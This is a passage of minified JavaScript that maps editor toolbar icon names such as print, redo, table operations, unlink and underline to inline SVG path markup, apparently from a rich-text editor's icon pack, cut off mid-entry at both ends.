1-1z"/></svg>',preferences:'<svg width="24" height="24"><path d="M20.1 13.5l-1.9.2a5.8 5.8 0 01-.6 1.5l1.2 1.5c.4.4.3 1 0 1.4l-.7.7a1 1 0 01-1.4 0l-1.5-1.2a6.2 6.2 0 01-1.5.6l-.2 1.9c0 .5-.5.9-1 .9h-1a1 1 0 01-1-.9l-.2-1.9a5.8 5.8 0 01-1.5-.6l-1.5 1.2a1 1 0 01-1.4 0l-.7-.7a1 1 0 010-1.4l1.2-1.5a6.2 6.2 0 01-.6-1.5l-1.9-.2a1 1 0 01-.9-1v-1c0-.5.4-1 .9-1l1.9-.2a5.8 5.8 0 01.6-1.5L5.2 7.3a1 1 0 010-1.4l.7-.7a1 1 0 011.4 0l1.5 1.2a6.2 6.2 0 011.5-.6l.2-1.9c0-.5.5-.9 1-.9h1c.5 0 1 .4 1 .9l.2 1.9a5.8 5.8 0 011.5.6l1.5-1.2a1 1 0 011.4 0l.7.7c.3.4.4 1 0 1.4l-1.2 1.5a6.2 6.2 0 01.6 1.5l1.9.2c.5 0 .9.5.9 1v1c0 .5-.4 1-.9 1zM12 15a3 3 0 100-6 3 3 0 000 6z" fill-rule="evenodd"/></svg>',preview:'<svg width="24" height="24"><path d="M3.5 12.5c.5.8 1.1 1.6 1.8 2.3 2 2 4.2 3.2 6.7 3.2s4.7-1.2 6.7-3.2a16.2 16.2 0 002.1-2.8 15.7 15.7 0 00-2.1-2.8c-2-2-4.2-3.2-6.7-3.2a9.3 9.3 0 00-6.7 3.2A16.2 16.2 0 003.2 12c0 .2.2.3.3.5zm-2.4-1l.7-1.2L4 7.8C6.2 5.4 8.9 4 12 4c3 0 5.8 1.4 8.1 3.8a18.2 18.2 0 012.8 3.7v1l-.7 1.2-2.1 2.5c-2.3 2.4-5 3.8-8.1 3.8-3 0-5.8-1.4-8.1-3.8a18.2 18.2 0 01-2.8-3.7 1 1 0 010-1zm12-3.3a2 2 0 102.7 2.6 4 4 0 11-2.6-2.6z" fill-rule="nonzero"/></svg>',print:'<svg width="24" height="24"><path d="M18 8H6a3 3 0 00-3 3v6h2v3h14v-3h2v-6a3 3 0 00-3-3zm-1 10H7v-4h10v4zm.5-5c-.8 0-1.5-.7-1.5-1.5s.7-1.5 1.5-1.5 1.5.7 1.5 1.5-.7 1.5-1.5 1.5zm.5-8H6v2h12V5z" fill-rule="nonzero"/></svg>',quote:'<svg width="24" height="24"><path d="M7.5 17h.9c.4 0 .7-.2.9-.6L11 13V8c0-.6-.4-1-1-1H6a1 1 0 00-1 1v4c0 .6.4 1 1 1h2l-1.3 2.7a1 1 0 00.8 1.3zm8 0h.9c.4 0 .7-.2.9-.6L19 13V8c0-.6-.4-1-1-1h-4a1 1 0 00-1 1v4c0 .6.4 1 1 1h2l-1.3 2.7a1 1 0 00.8 1.3z" fill-rule="nonzero"/></svg>',redo:'<svg width="24" height="24"><path d="M17.6 10H12c-2.8 0-4.4 1.4-4.9 3.5-.4 2 .3 4 1.4 4.6a1 1 0 11-1 1.8c-2-1.2-2.9-4.1-2.3-6.8.6-3 3-5.1 6.8-5.1h5.6l-3.3-3.3a1 1 0 111.4-1.4l5 5a1 1 0 010 1.4l-5 5a1 1 0 01-1.4-1.4l3.3-3.3z" fill-rule="nonzero"/></svg>',reload:'<svg width="24" height="24"><g fill-rule="nonzero"><path d="M5 22.1l-1.2-4.7v-.2a1 1 0 011-1l5 .4a1 1 0 11-.2 2l-2.2-.2a7.8 7.8 0 008.4.2 7.5 7.5 0 003.5-6.4 1 1 0 112 0 9.5 9.5 0 01-4.5 8 9.9 9.9 0 01-10.2 0l.4 1.4a1 1 0 11-2 .5zM13.6 7.4c0-.5.5-1 1-.9l2.8.2a8 8 0 00-9.5-1 7.5 7.5 0 00-3.6 7 1 1 0 01-2 0 9.5 9.5 0 014.5-8.6 10 10 0 0110.9.3l-.3-1a1 1 0 012-.5l1.1 4.8a1 1 0 01-1 1.2l-5-.4a1 1 0 01-.9-1z"/></g></svg>',"remove-formatting":'<svg width="24" height="24"><path d="M13.2 6a1 1 0 010 .2l-2.6 10a1 1 0 01-1 .8h-.2a.8.8 0 01-.8-1l2.6-10H8a1 1 0 110-2h9a1 1 0 010 2h-3.8zM5 18h7a1 1 0 010 2H5a1 1 0 010-2zm13 1.5L16.5 18 15 19.5a.7.7 0 01-1-1l1.5-1.5-1.5-1.5a.7.7 0 011-1l1.5 1.5 1.5-1.5a.7.7 0 011 1L17.5 17l1.5 1.5a.7.7 0 01-1 1z" fill-rule="evenodd"/></svg>',remove:'<svg width="24" height="24"><path d="M16 7h3a1 1 0 010 2h-1v9a3 3 0 01-3 3H9a3 3 0 01-3-3V9H5a1 1 0 110-2h3V6a3 3 0 013-3h2a3 3 0 013 3v1zm-2 0V6c0-.6-.4-1-1-1h-2a1 1 0 00-1 1v1h4zm2 2H8v9c0 .6.4 1 1 1h6c.6 0 1-.4 1-1V9zm-7 3a1 1 0 012 0v4a1 1 0 01-2 0v-4zm4 0a1 1 0 012 0v4a1 1 0 01-2 0v-4z" fill-rule="nonzero"/></svg>',"resize-handle":'<svg width="10" height="10"><g fill-rule="nonzero"><path d="M8.1 1.1A.5.5 0 119 2l-7 7A.5.5 0 111 8l7-7zM8.1 5.1A.5.5 0 119 6l-3 3A.5.5 0 115 8l3-3z"/></g></svg>',resize:'<svg width="24" height="24"><path d="M4 5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h6c.3 0 .5.1.7.3.2.2.3.4.3.7 0 .3-.1.5-.3.7a1 1 0 01-.7.3H7.4L18 16.6V13c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3.3 0 .5.1.7.3.2.2.3.4.3.7v6c0 .3-.1.5-.3.7a1 1 0 01-.7.3h-6a1 1 0 01-.7-.3 1 1 0 01-.3-.7c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h3.6L6 7.4V11c0 .3-.1.5-.3.7a1 1 0 01-.7.3 1 1 0 01-.7-.3A1 1 0 014 11V5z" fill-rule="evenodd"/></svg>',"restore-draft":'<svg width="24" height="24"><g fill-rule="evenodd"><path d="M17 13c0 .6-.4 1-1 1h-4V8c0-.6.4-1 1-1s1 .4 1 1v4h2c.6 0 1 .4 1 1z"/><path d="M4.7 10H9a1 1 0 010 2H3a1 1 0 01-1-1V5a1 1 0 112 0v3l2.5-2.4a9.2 9.2 0 0110.8-1.5A9 9 0 0113.4 21c-2.4.1-4.7-.7-6.5-2.2a1 1 0 111.3-1.5 7.2 7.2 0 0011.6-3.7 7 7 0 00-3.5-7.7A7.2 7.2 0 008 7L4.7 10z" fill-rule="nonzero"/></g></svg>',"rotate-left":'<svg width="24" height="24"><path d="M4.7 10H9a1 1 0 010 2H3a1 1 0 01-1-1V5a1 1 0 112 0v3l2.5-2.4a9.2 9.2 0 0110.8-1.5A9 9 0 0113.4 21c-2.4.1-4.7-.7-6.5-2.2a1 1 0 111.3-1.5 7.2 7.2 0 0011.6-3.7 7 7 0 00-3.5-7.7A7.2 7.2 0 008 7L4.7 10z" fill-rule="nonzero"/></svg>',"rotate-right":'<svg width="24" height="24"><path d="M20 8V5a1 1 0 012 0v6c0 .6-.4 1-1 1h-6a1 1 0 010-2h4.3L16 7A7.2 7.2 0 007.7 6a7 7 0 003 13.1c1.9.1 3.7-.5 5-1.7a1 1 0 011.4 1.5A9.2 9.2 0 012.2 14c-.9-3.9 1-8 4.5-9.9 3.5-1.9 8-1.3 10.8 1.5L20 8z" fill-rule="nonzero"/></svg>',rtl:'<svg width="24" height="24"><path d="M8 5h8v2h-2v12h-2V7h-2v12H8v-7c-.5 0-1 0-1.4-.3A3.4 3.4 0 014.8 10a3.3 3.3 0 010-2.8 3.4 3.4 0 011.8-1.8L8 5zm12 11.2a1 1 0 11-1 1.6l-3-2a1 1 0 010-1.6l3-2a1 1 0 111 1.6L18.4 15l1.8 1.2z" fill-rule="evenodd"/></svg>',save:'<svg width="24" height="24"><path d="M5 16h14a2 2 0 012 2v2a2 2 0 01-2 2H5a2 2 0 01-2-2v-2c0-1.1.9-2 2-2zm0 2v2h14v-2H5zm10 0h2v2h-2v-2zm-4-6.4L8.7 9.3a1 1 0 10-1.4 1.4l4 4c.4.4 1 .4 1.4 0l4-4a1 1 0 10-1.4-1.4L13 11.6V4a1 1 0 00-2 0v7.6z" fill-rule="nonzero"/></svg>',search:'<svg width="24" height="24"><path d="M16 17.3a8 8 0 111.4-1.4l4.3 4.4a1 1 0 01-1.4 1.4l-4.4-4.3zm-5-.3a6 6 0 100-12 6 6 0 000 12z" fill-rule="nonzero"/></svg>',"select-all":'<svg width="24" height="24"><path d="M3 5h2V3a2 2 0 00-2 2zm0 8h2v-2H3v2zm4 8h2v-2H7v2zM3 9h2V7H3v2zm10-6h-2v2h2V3zm6 0v2h2a2 2 0 00-2-2zM5 21v-2H3c0 1.1.9 2 2 2zm-2-4h2v-2H3v2zM9 3H7v2h2V3zm2 18h2v-2h-2v2zm8-8h2v-2h-2v2zm0 8a2 2 0 002-2h-2v2zm0-12h2V7h-2v2zm0 8h2v-2h-2v2zm-4 4h2v-2h-2v2zm0-16h2V3h-2v2zM7 17h10V7H7v10zm2-8h6v6H9V9z" fill-rule="nonzero"/></svg>',selected:'<svg width="24" height="24"><path fill-rule="nonzero" d="M6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6c0-1.1.9-2 2-2zm3.6 10.9L7 12.3a.7.7 0 00-1 1L9.6 17 18 8.6a.7.7 0 000-1 .7.7 0 00-1 0l-7.4 7.3z"/></svg>',settings:'<svg width="24" height="24"><path d="M11 6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8v.3c0 .2 0 .3-.2.5l-.6.2H7.8c-.3 0-.4 0-.6-.2a.7.7 0 01-.2-.6V8H5a1 1 0 110-2h2v-.3c0-.2 0-.3.2-.5l.5-.2h2.5c.3 0 .4 0 .6.2l.2.5V6zM8 8h2V6H8v2zm9 2.8v.2h2c.6 0 1 .4 1 1s-.4 1-1 1h-2v.3c0 .2 0 .3-.2.5l-.6.2h-2.4c-.3 0-.4 0-.6-.2a.7.7 0 01-.2-.6V13H5a1 1 0 010-2h8v-.3c0-.2 0-.3.2-.5l.6-.2h2.4c.3 0 .4 0 .6.2l.2.6zM14 13h2v-2h-2v2zm-3 2.8v.2h8c.6 0 1 .4 1 1s-.4 1-1 1h-8v.3c0 .2 0 .3-.2.5l-.6.2H7.8c-.3 0-.4 0-.6-.2a.7.7 0 01-.2-.6V18H5a1 1 0 010-2h2v-.3c0-.2 0-.3.2-.5l.5-.2h2.5c.3 0 .4 0 .6.2l.2.6zM8 18h2v-2H8v2z" fill-rule="evenodd"/></svg>',sharpen:'<svg width="24" height="24"><path d="M16 6l4 4-8 9-8-9 4-4h8zm-4 10.2l5.5-6.2-.1-.1H12v-.3h5.1l-.2-.2H12V9h4.6l-.2-.2H12v-.3h4.1l-.2-.2H12V8h3.6l-.2-.2H8.7L6.5 10l.1.1H12v.3H6.9l.2.2H12v.3H7.3l.2.2H12v.3H7.7l.3.2h4v.3H8.2l.2.2H12v.3H8.6l.3.2H12v.3H9l.3.2H12v.3H9.5l.2.2H12v.3h-2l.2.2H12v.3h-1.6l.2.2H12v.3h-1.1l.2.2h.9v.3h-.7l.2.2h.5v.3h-.3l.3.2z" fill-rule="evenodd"/></svg>',sourcecode:'<svg width="24" height="24"><g fill-rule="nonzero"><path d="M9.8 15.7c.3.3.3.8 0 1-.3.4-.9.4-1.2 0l-4.4-4.1a.8.8 0 010-1.2l4.4-4.2c.3-.3.9-.3 1.2 0 .3.3.3.8 0 1.1L6 12l3.8 3.7zM14.2 15.7c-.3.3-.3.8 0 1 .4.4.9.4 1.2 0l4.4-4.1c.3-.3.3-.9 0-1.2l-4.4-4.2a.8.8 0 00-1.2 0c-.3.3-.3.8 0 1.1L18 12l-3.8 3.7z"/></g></svg>',"spell-check":'<svg width="24" height="24"><path d="M6 8v3H5V5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h2c.3 0 .5.1.7.3.2.2.3.4.3.7v6H8V8H6zm0-3v2h2V5H6zm13 0h-3v5h3v1h-3a1 1 0 01-.7-.3 1 1 0 01-.3-.7V5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h3v1zm-5 1.5l-.1.7c-.1.2-.3.3-.6.3.3 0 .5.1.6.3l.1.7V10c0 .3-.1.5-.3.7a1 1 0 01-.7.3h-3V4h3c.3 0 .5.1.7.3.2.2.3.4.3.7v1.5zM13 10V8h-2v2h2zm0-3V5h-2v2h2zm3 5l1 1-6.5 7L7 15.5l1.3-1 2.2 2.2L16 12z" fill-rule="evenodd"/></svg>',"strike-through":'<svg width="24" height="24"><g fill-rule="evenodd"><path d="M15.6 8.5c-.5-.7-1-1.1-1.3-1.3-.6-.4-1.3-.6-2-.6-2.7 0-2.8 1.7-2.8 2.1 0 1.6 1.8 2 3.2 2.3 4.4.9 4.6 2.8 4.6 3.9 0 1.4-.7 4.1-5 4.1A6.2 6.2 0 017 16.4l1.5-1.1c.4.6 1.6 2 3.7 2 1.6 0 2.5-.4 3-1.2.4-.8.3-2-.8-2.6-.7-.4-1.6-.7-2.9-1-1-.2-3.9-.8-3.9-3.6C7.6 6 10.3 5 12.4 5c2.9 0 4.2 1.6 4.7 2.4l-1.5 1.1z"/><path d="M5 11h14a1 1 0 010 2H5a1 1 0 010-2z" fill-rule="nonzero"/></g></svg>',subscript:'<svg width="24" height="24"><path d="M10.4 10l4.6 4.6-1.4 1.4L9 11.4 4.4 16 3 14.6 7.6 10 3 5.4 4.4 4 9 8.6 13.6 4 15 5.4 10.4 10zM21 19h-5v-1l1-.8 1.7-1.6c.3-.4.5-.8.5-1.2 0-.3 0-.6-.2-.7-.2-.2-.5-.3-.9-.3a2 2 0 00-.8.2l-.7.3-.4-1.1 1-.6 1.2-.2c.8 0 1.4.3 1.8.7.4.4.6.9.6 1.5s-.2 1.1-.5 1.6a8 8 0 01-1.3 1.3l-.6.6h2.6V19z" fill-rule="nonzero"/></svg>',superscript:'<svg width="24" height="24"><path d="M15 9.4L10.4 14l4.6 4.6-1.4 1.4L9 15.4 4.4 20 3 18.6 7.6 14 3 9.4 4.4 8 9 12.6 13.6 8 15 9.4zm5.9 1.6h-5v-1l1-.8 1.7-1.6c.3-.5.5-.9.5-1.3 0-.3 0-.5-.2-.7-.2-.2-.5-.3-.9-.3l-.8.2-.7.4-.4-1.2c.2-.2.5-.4 1-.5.3-.2.8-.2 1.2-.2.8 0 1.4.2 1.8.6.4.4.6 1 .6 1.6 0 .5-.2 1-.5 1.5l-1.3 1.4-.6.5h2.6V11z" fill-rule="nonzero"/></svg>',"table-caption":'<svg width="24" height="24"><g fill-rule="nonzero"><rect width="12" height="2" x="3" y="4" rx="1"/><path d="M19 8a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2v-8c0-1.1.9-2 2-2h14zM5 15v3h6v-3H5zm14 0h-6v3h6v-3zm0-5h-6v3h6v-3zM5 13h6v-3H5v3z"/></g></svg>',"table-cell-classes":'<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M13 4v9H3V6c0-1.1.9-2 2-2h8zm-2 2H5v5h6V6z"/><path fill-rule="nonzero" d="M13 4h6a2 2 0 012 2v7h-8v-2h6V6h-6V4z" opacity=".2"/><path d="M18 20l-2.6 1.6.7-3-2.4-2 3.1-.2 1.2-2.9 1.2 2.9 3 .2-2.3 2 .7 3z"/><path fill-rule="nonzero" d="M3 13v5c0 1.1.9 2 2 2h8v-7h-2v5H5v-5H3z" opacity=".2"/></g></svg>',"table-cell-properties":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm-8 9H5v5h6v-5zm8 0h-6v5h6v-5zm-8-7H5v5h6V6z"/></svg>',"table-cell-select-all":'<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm0 2H5v12h14V6z"/><path d="M13 6v5h6v2h-6v5h-2v-5H5v-2h6V6h2z" opacity=".2"/></g></svg>',"table-cell-select-inner":'<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm0 2H5v12h14V6z" opacity=".2"/><path d="M13 6v5h6v2h-6v5h-2v-5H5v-2h6V6h2z"/></g></svg>',"table-classes":'<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v7h-8v7H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm-8 9H5v5h6v-5zm8-7h-6v5h6V6zm-8 0H5v5h6V6z"/><path d="M18 20l-2.6 1.6.7-3-2.4-2 3.1-.2 1.2-2.9 1.2 2.9 3 .2-2.3 2 .7 3z"/></g></svg>',"table-delete-column":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm-4 4h-2V6h-2v2H9V6H5v12h4v-2h2v2h2v-2h2v2h4V6h-4v2zm.3.5l1 1.2-3 2.3 3 2.3-1 1.2L12 13l-3.3 2.6-1-1.2 3-2.3-3-2.3 1-1.2L12 11l3.3-2.5z"/></svg>',"table-delete-row":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm0 2H5v3h2.5v2H5v2h2.5v2H5v3h14v-3h-2.5v-2H19v-2h-2.5V9H19V6zm-4.7 1.8l1.2 1L13 12l2.6 3.3-1.2 1-2.3-3-2.3 3-1.2-1L11 12 8.5 8.7l1.2-1 2.3 3 2.3-3z"/></svg>',"table-delete-table":'<svg width="24" height="24"><g fill-rule="nonzero"><path d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zM5 6v12h14V6H5z"/><path d="M14.4 8.6l1 1-2.3 2.4 2.3 2.4-1 1-2.4-2.3-2.4 2.3-1-1 2.3-2.4-2.3-2.4 1-1 2.4 2.3z"/></g></svg>',"table-insert-column-after":'<svg width="24" height="24"><path fill-rule="nonzero" d="M20 4c.6 0 1 .4 1 1v2a1 1 0 01-2 0V6h-8v12h8v-1a1 1 0 012 0v2c0 .5-.4 1-.9 1H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h15zM9 13H5v5h4v-5zm7-5c.5 0 1 .4 1 .9V11h2a1 1 0 01.1 2H17v2a1 1 0 01-2 .1V13h-2a1 1 0 01-.1-2H15V9c0-.6.4-1 1-1zM9 6H5v5h4V6z"/></svg>',"table-insert-column-before":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H4a1 1 0 01-1-1v-2a1 1 0 012 0v1h8V6H5v1a1 1 0 11-2 0V5c0-.6.4-1 1-1h15zm0 9h-4v5h4v-5zM8 8c.5 0 1 .4 1 .9V11h2a1 1 0 01.1 2H9v2a1 1 0 01-2 .1V13H5a1 1 0 01-.1-2H7V9c0-.6.4-1 1-1zm11-2h-4v5h4V6z"/></svg>',"table-insert-row-above":'<svg width="24" height="24"><path fill-rule="nonzero" d="M6 4a1 1 0 110 2H5v6h14V6h-1a1 1 0 010-2h2c.6 0 1 .4 1 1v13a2 2 0 01-2 2H5a2 2 0 01-2-2V5c0-.6.4-1 1-1h2zm5 10H5v4h6v-4zm8 0h-6v4h6v-4zM12 3c.5 0 1 .4 1 .9V6h2a1 1 0 010 2h-2v2a1 1 0 01-2 .1V8H9a1 1 0 010-2h2V4c0-.6.4-1 1-1z"/></svg>',"table-insert-row-after":'<svg width="24" height="24"><path fill-rule="nonzero" d="M12 13c.5 0 1 .4 1 .9V16h2a1 1 0 01.1 2H13v2a1 1 0 01-2 .1V18H9a1 1 0 01-.1-2H11v-2c0-.6.4-1 1-1zm6 7a1 1 0 010-2h1v-6H5v6h1a1 1 0 010 2H4a1 1 0 01-1-1V6c0-1.1.9-2 2-2h14a2 2 0 012 2v13c0 .5-.4 1-.9 1H18zM11 6H5v4h6V6zm8 0h-6v4h6V6z"/></svg>',"table-left-header":'<svg width="24" height="24"><path d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm0 9h-4v5h4v-5zm-6 0H9v5h4v-5zm0-7H9v5h4V6zm6 0h-4v5h4V6z"/></svg>',"table-merge-cells":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zM5 15.5V18h3v-2.5H5zm14-5h-9V18h9v-7.5zM19 6h-4v2.5h4V6zM8 6H5v2.5h3V6zm5 0h-3v2.5h3V6zm-8 7.5h3v-3H5v3z"/></svg>',"table-row-numbering-rtl":'<svg width="24" height="24"><path d="M6 4a2 2 0 00-2 2v13c0 1.1.9 2 2 2h12a2 2 0 002-2V6a2 2 0 00-2-2H6zm0 12h8v3H6v-3zm11 0c.6 0 1 .4 1 1v1a1 1 0 01-2 0v-1c0-.6.4-1 1-1zM6 11h8v3H6v-3zm11 0c.6 0 1 .4 1 1v1a1 1 0 01-2 0v-1c0-.6.4-1 1-1zM6 6h8v3H6V6zm11 0c.6 0 1 .4 1 1v1a1 1 0 11-2 0V7c0-.6.4-1 1-1z"/></svg>',"table-row-numbering":'<svg width="24" height="24"><path d="M18 4a2 2 0 012 2v13a2 2 0 01-2 2H6a2 2 0 01-2-2V6c0-1.1.9-2 2-2h12zm0 12h-8v3h8v-3zM7 16a1 1 0 00-1 1v1a1 1 0 002 0v-1c0-.6-.4-1-1-1zm11-5h-8v3h8v-3zM7 11a1 1 0 00-1 1v1a1 1 0 002 0v-1c0-.6-.4-1-1-1zm11-5h-8v3h8V6zM7 6a1 1 0 00-1 1v1a1 1 0 102 0V7c0-.6-.4-1-1-1z"/></svg>',"table-row-properties":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zM5 15v3h6v-3H5zm14 0h-6v3h6v-3zm0-9h-6v3h6V6zM5 9h6V6H5v3z"/></svg>',"table-split-cells":'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zM8 15.5H5V18h3v-2.5zm11-5h-9V18h9v-7.5zm-2.5 1l1 1-2 2 2 2-1 1-2-2-2 2-1-1 2-2-2-2 1-1 2 2 2-2zm-8.5-1H5v3h3v-3zM19 6h-4v2.5h4V6zM8 6H5v2.5h3V6zm5 0h-3v2.5h3V6z"/></svg>',"table-top-header":'<svg width="24" height="24"><path d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm-8 11H5v3h6v-3zm8 0h-6v3h6v-3zm0-5h-6v3h6v-3zM5 13h6v-3H5v3z"/></svg>',table:'<svg width="24" height="24"><path fill-rule="nonzero" d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zM5 14v4h6v-4H5zm14 0h-6v4h6v-4zm0-6h-6v4h6V8zM5 12h6V8H5v4z"/></svg>',template:'<svg width="24" height="24"><path d="M19 19v-1H5v1h14zM9 16v-4a5 5 0 116 0v4h4a2 2 0 012 2v3H3v-3c0-1.1.9-2 2-2h4zm4 0v-5l.8-.6a3 3 0 10-3.6 0l.8.6v5h2z" fill-rule="nonzero"/></svg>',"temporary-placeholder":'<svg width="24" height="24"><g fill-rule="evenodd"><path d="M9 7.6V6h2.5V4.5a.5.5 0 111 0V6H15v1.6a8 8 0 11-6 0zm-2.6 5.3a.5.5 0 00.3.6c.3 0 .6 0 .6-.3l.1-.2a5 5 0 013.3-2.8c.3-.1.4-.4.4-.6-.1-.3-.4-.5-.6-.4a6 6 0 00-4.1 3.7z"/><circle cx="14" cy="4" r="1"/><circle cx="12" cy="2" r="1"/><circle cx="10" cy="4" r="1"/></g></svg>',"text-color":'<svg width="24" height="24"><g fill-rule="evenodd"><path id="tox-icon-text-color__color" d="M3 18h18v3H3z"/><path d="M8.7 16h-.8a.5.5 0 01-.5-.6l2.7-9c.1-.3.3-.4.5-.4h2.8c.2 0 .4.1.5.4l2.7 9a.5.5 0 01-.5.6h-.8a.5.5 0 01-.4-.4l-.7-2.2c0-.3-.3-.4-.5-.4h-3.4c-.2 0-.4.1-.5.4l-.7 2.2c0 .3-.2.4-.4.4zm2.6-7.6l-.6 2a.5.5 0 00.5.6h1.6a.5.5 0 00.5-.6l-.6-2c0-.3-.3-.4-.5-.4h-.4c-.2 0-.4.1-.5.4z"/></g></svg>',toc:'<svg width="24" height="24"><path d="M5 5c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 110-2zm3 0h11c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 110-2zm-3 8c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 010-2zm3 0h11c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 010-2zm0-4c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 110-2zm3 0h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm-3 8c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 010-2zm3 0h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2z" fill-rule="evenodd"/></svg>',translate:'<svg width="24" height="24"><path d="M12.7 14.3l-.3.7-.4.7-2.2-2.2-3.1 3c-.3.4-.8.4-1 0a.7.7 0 010-1l3.1-3A12.4 12.4 0 016.7 9H8a10.1 10.1 0 001.7 2.4c.5-.5 1-1.1 1.4-1.8l.9-2H4.7a.7.7 0 110-1.5h4.4v-.7c0-.4.3-.8.7-.8.4 0 .7.4.7.8v.7H15c.4 0 .8.3.8.7 0 .4-.4.8-.8.8h-1.4a12.3 12.3 0 01-1 2.4 13.5 13.5 0 01-1.7 2.3l1.9 1.8zm4.3-3l2.7 7.3a.5.5 0 01-.4.7 1 1 0 01-1-.7l-.6-1.5h-3.4l-.6 1.5a1 1 0 01-1 .7.5.5 0 01-.4-.7l2.7-7.4a1 1 0 012 0zm-2.2 4.4h2.4L16 12.5l-1.2 3.2z" fill-rule="evenodd"/></svg>',underline:'<svg width="24" height="24"><path d="M16 5c.6 0 1 .4 1 1v5.5a4 4 0 01-.4 1.8l-1 1.4a5.3 5.3 0 01-5.5 1 5 5 0 01-1.6-1c-.5-.4-.8-.9-1.1-1.4a4 4 0 01-.4-1.8V6c0-.6.4-1 1-1s1 .4 1 1v5.5c0 .3 0 .6.2 1l.6.7a3.3 3.3 0 002.2.8 3.4 3.4 0 002.2-.8c.3-.2.4-.5.6-.8l.2-.9V6c0-.6.4-1 1-1zM8 17h8c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 010-2z" fill-rule="evenodd"/></svg>',undo:'<svg width="24" height="24"><path d="M6.4 8H12c3.7 0 6.2 2 6.8 5.1.6 2.7-.4 5.6-2.3 6.8a1 1 0 01-1-1.8c1.1-.6 1.8-2.7 1.4-4.6-.5-2.1-2.1-3.5-4.9-3.5H6.4l3.3 3.3a1 1 0 11-1.4 1.4l-5-5a1 1 0 010-1.4l5-5a1 1 0 011.4 1.4L6.4 8z" fill-rule="nonzero"/></svg>',unlink:'<svg width="24" height="24"><path d="M6.2 12.3a1 1 0 011.4 1.4l-2 2a2 2 0 102.6 2.8l4.8-4.8a1 1 0 000-1.4 1 1 0 111.4-1.3 2.9 2.9 0 010 4L9.6 20a3.9 3.9 0 01-5.5-5.5l2-2zm11.6-.6a1 1 0 01-1.4-1.4l2.1-2a2 2 0 10-2.7-2.8L11 10.3a1 1 0 000 1.4A1 1 0 119.6 13a2.9 2.9 0 010-4L14.4 4a3.9 3.9 0 015.5 5.5l-2 2zM7.6 6.3a.8.8 0 01-1 1.1L3.3 4.2a.7.7 0 111-1l3.2 3.1zM5.1 8.6a.8.8 0 010 1.5H3a.8.8 0 010-1.5H5zm5-3.5a.8.8 0 01-1.5 0V3a.8.8 0 011.5 0V5zm6 11.8a.8.8 0 011-1l3.2 3.2a.8.8 0 01-1 1L16 17zm-2.2 2a.8.8 0 011.5 0V21a.8.8 0 01-1.5 0V19zm5-3.5a.7.7 0 110-1.5H21a.8.8 0 010 1.5H19z" fill-rule="nonzero"/></svg>',unlock:'<svg width="24" height="24"><path d="M16 5c.8 0 1.5.3 2.1.9.6.6.9 1.3.9 2.1v3h-2V8a1 1 0 00-.3-.7A1 1 0 0016 7h-2a1 1 0 00-.7.3 1 1 0 00-.3.7v3h.3c.2 0 .3 0 .5.2l.2.6v7.4c0 .3 0 .4-.2.6l-.6.2H4.8c-.3 0-.4 0-.6-.2a.7.7 0 01-.2-.6v-7.4c0-.3 0-.4.2-.6l.5-.2H11V8c0-.8.3-1.5.9-2.1.6-.6 1.3-.9 2.1-.9h2z" fill-rule="evenodd"/></svg>',"unordered-list":'<svg width="24" height="24"><path d="M11 5h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm0 6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm0 6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zM4.5 